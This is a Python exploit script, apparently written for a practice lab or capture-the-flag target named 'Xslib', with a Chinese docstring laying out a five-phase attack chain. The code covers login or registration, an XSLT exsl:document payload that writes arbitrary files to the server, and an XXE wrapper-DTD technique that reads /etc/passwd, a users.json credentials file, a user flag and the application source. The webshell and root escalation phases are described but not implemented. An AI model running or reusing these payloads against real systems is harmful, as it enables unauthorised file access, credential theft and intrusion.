#!/usr/bin/env python3
"""
Xslib 靶场完整自动化利用脚本
阶段1: Web → 任意文件写入 (exsl:document)
阶段2: DTD包装 → 任意文件读取 (XXE参数实体 + 通用实体)
阶段3: 凭据获取 (users.json)
阶段4: 覆盖 app.py 获取 WebShell
阶段5: doas ldconfig 配合 scanelf -o 提权至 root
"""

import sys
import re
import os
import html
import requests
import textwrap

BASE = os.environ.get("XSLIB_BASE", "http://192.168.1.112:5000").rstrip("/")
USERNAME = "pentester"
PASSWORD = "P@ssw0rd123!"

# ============================================================
# Phase 1: Login
# ============================================================
def login(session):
    """Ensure we're logged in."""
    r = session.get(f"{BASE}/dashboard", allow_redirects=False)
    if r.status_code == 200 and "Dashboard" in r.text:
        return True

    # Try login
    r = session.post(f"{BASE}/login", data={
        "username": USERNAME, "password": PASSWORD
    }, allow_redirects=False)

    if r.status_code == 302:
        # Follow redirect
        r = session.get(f"{BASE}/dashboard")
        return "Dashboard" in r.text or "Document Processor" in r.text

    # Need to register
    print("[*] Registering new account...")
    r = session.post(f"{BASE}/register", data={
        "username": USERNAME, "email": f"{USERNAME}@test.com",
        "password": PASSWORD, "confirm_password": PASSWORD, "terms": "on"
    }, allow_redirects=False)

    # Login after register
    r = session.post(f"{BASE}/login", data={
        "username": USERNAME, "password": PASSWORD
    }, allow_redirects=False)

    r = session.get(f"{BASE}/dashboard")
    return "Dashboard" in r.text or "Document Processor" in r.text


# ============================================================
# Phase 2: File Write via exsl:document
# ============================================================
def _xml_escape(text):
    """Escape special XML characters for use as text content (NOT CDATA)."""
    return text.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;") \
               .replace("'", "&apos;").replace('"', "&quot;")


def write_file(session, target_path, content):
    """
    Write content to target_path using exsl:document.
    target_path MUST be a file:/// absolute URI.

    Key: use XML-escaped entities (&lt; &gt; &apos; &quot;) instead of CDATA,
    so the XSLT text content survives XML parsing then produces literal < > ' "
    in the output file.
    """
    escaped = _xml_escape(content)

    xsl = f"""<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exsl="http://exslt.org/common"
  extension-element-prefixes="exsl">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <exsl:document href="file://{target_path}" method="text">{escaped}</exsl:document>
    WRITE_OK
  </xsl:template>
</xsl:stylesheet>"""

    simple_xml = '<?xml version="1.0" encoding="UTF-8"?><data><test>x</test></data>'

    r = session.post(f"{BASE}/upload", files={
        ("xml_file", ("data.xml", simple_xml, "text/xml")),
        ("xsl_file", ("write.xsl", xsl, "text/xsl")),
    })

    if "xsltDocumentElem: unable to save" in r.text:
        err = re.search(r'xsltDocumentElem: unable to save[^<]*', r.text)
        print(f"    [WRITE FAIL] {err.group(0) if err else 'unknown'}")
        return False

    if "XSLT processing failed" in r.text or "Processing error" in r.text:
        err = re.search(r'(?:XSLT processing failed|Processing error)[^<]*', r.text)
        print(f"    [WRITE ERROR] {err.group(0) if err else 'unknown'}")
        return False

    return True


# ============================================================
# Phase 3: File Read via XXE + Wrapper DTD
# ============================================================
def read_file(session, filepath):
    """
    Read arbitrary file on target.

    1. Write wrapper DTD to /tmp/xslib_wrap.dtd via exsl:document
    2. Load DTD via XXE parameter entity (file:///tmp/xslib_wrap.dtd)
    3. DTD wraps target file content into &xxe; general entity
    4. &xxe; in document body returns file content through XSLT output

    The first wrapper works for files such as passwd and JSON.  Source files
    such as app.py contain apostrophes and literal "<...>" route fragments,
    so a second wrapper uses a double-quoted entity plus CDATA delimiters.
    """
    dtd_variants = [
        (
            "single-quoted entity",
            '<!ENTITY % file SYSTEM "file://{0}">\n'
            '<!ENTITY % define "<!ENTITY xxe \'%file;\'>">\n'
            '%define;\n'.format(filepath),
        ),
        (
            "double-quoted CDATA entity",
            '<!ENTITY % file SYSTEM "file://{0}">\n'
            '<!ENTITY % start "<![CDATA[">\n'
            '<!ENTITY % end "]]>">\n'
            '<!ENTITY % define \'<!ENTITY xxe "%start;%file;%end;">\'>\n'
            '%define;\n'.format(filepath),
        ),
    ]

    read_xml = """<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % remote SYSTEM "file:///tmp/xslib_wrap.dtd">
  %remote;
]>
<root><message>&xxe;</message></root>"""

    passthrough_xsl = """<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <html><body><pre><xsl:copy-of select="."/></pre></body></html>
  </xsl:template>
</xsl:stylesheet>"""

    last_error = None
    for index, (variant_name, dtd_content) in enumerate(dtd_variants):
        # Step A: write the selected wrapper DTD.
        if not write_file(session, "/tmp/xslib_wrap.dtd", dtd_content):
            return None

        # Step B: load the DTD and expand &xxe;.
        r = session.post(f"{BASE}/upload", files={
            ("xml_file", ("data.xml", read_xml, "text/xml")),
            ("xsl_file", ("style.xsl", passthrough_xsl, "text/xsl")),
        })

        # Extract from the outer result-template <pre>.  The transformed XML
        # is escaped once by XML serialization and again by Jinja, so decode
        # repeatedly until it stabilizes.
        pre_match = re.search(r'<pre[^>]*>(.*?)</pre>', r.text, re.DOTALL)
        if pre_match:
            content = pre_match.group(1)
            for _ in range(3):
                decoded = html.unescape(content)
                if decoded == content:
                    break
                content = decoded
            msg_match = re.search(r'<message>(.*?)</message>', content, re.DOTALL)
            if msg_match:
                return html.unescape(msg_match.group(1)).strip()

        err_match = re.search(
            r'class="p-4 bg-red[^"]*">\s*<p[^>]*>(.*?)</p>',
            r.text,
            re.DOTALL,
        )
        if err_match:
            last_error = html.unescape(err_match.group(1)).strip()
        else:
            last_error = f"{variant_name}: result extraction failed"

        if index + 1 < len(dtd_variants):
            print(f"    [*] {variant_name} failed, retrying with CDATA wrapper")

    if last_error:
        print(f"    [READ ERROR] {last_error}")

    return None


# ============================================================
# Main
# ============================================================
def main():
    session = requests.Session()

    print("=" * 60)
    print("[Phase 1] Login")
    print("=" * 60)
    if not login(session):
        print("[-] Login failed!")
        sys.exit(1)
    print(f"[+] Logged in as {USERNAME}")

    # Check health endpoint
    r = session.get(f"{BASE}/health")
    print(f"[+] /health: {r.text[:200]}")

    print()
    print("=" * 60)
    print("[Phase 2] Test file write (exsl:document)")
    print("=" * 60)

    # Quick write test (must use absolute file:/// path)
    if write_file(session, "/tmp/test_write.txt", "hello from exsl:document"):
        print("[+] File write works! (/tmp/test_write.txt)")
    else:
        print("[-] File write failed!")
        sys.exit(1)

    print()
    print("=" * 60)
    print("[Phase 3] File read (XXE + wrapper DTD)")
    print("=" * 60)

    files_to_read = [
        "/etc/passwd",
        "/opt/web/users.json",
        "/home/momo/user.txt",
        "/opt/web/app.py",
    ]

    for f in files_to_read:
        print(f"\n[*] Reading: {f}")
        content = read_file(session, f)
        if content:
            print(f"===== {f} =====")
            print(content[:1000])
            if len(content) > 1000:
                print(f"... ({len(content)} total bytes)")
        else:
            print(f"[-] Failed to read {f}")


if __name__ == "__main__":
    main()
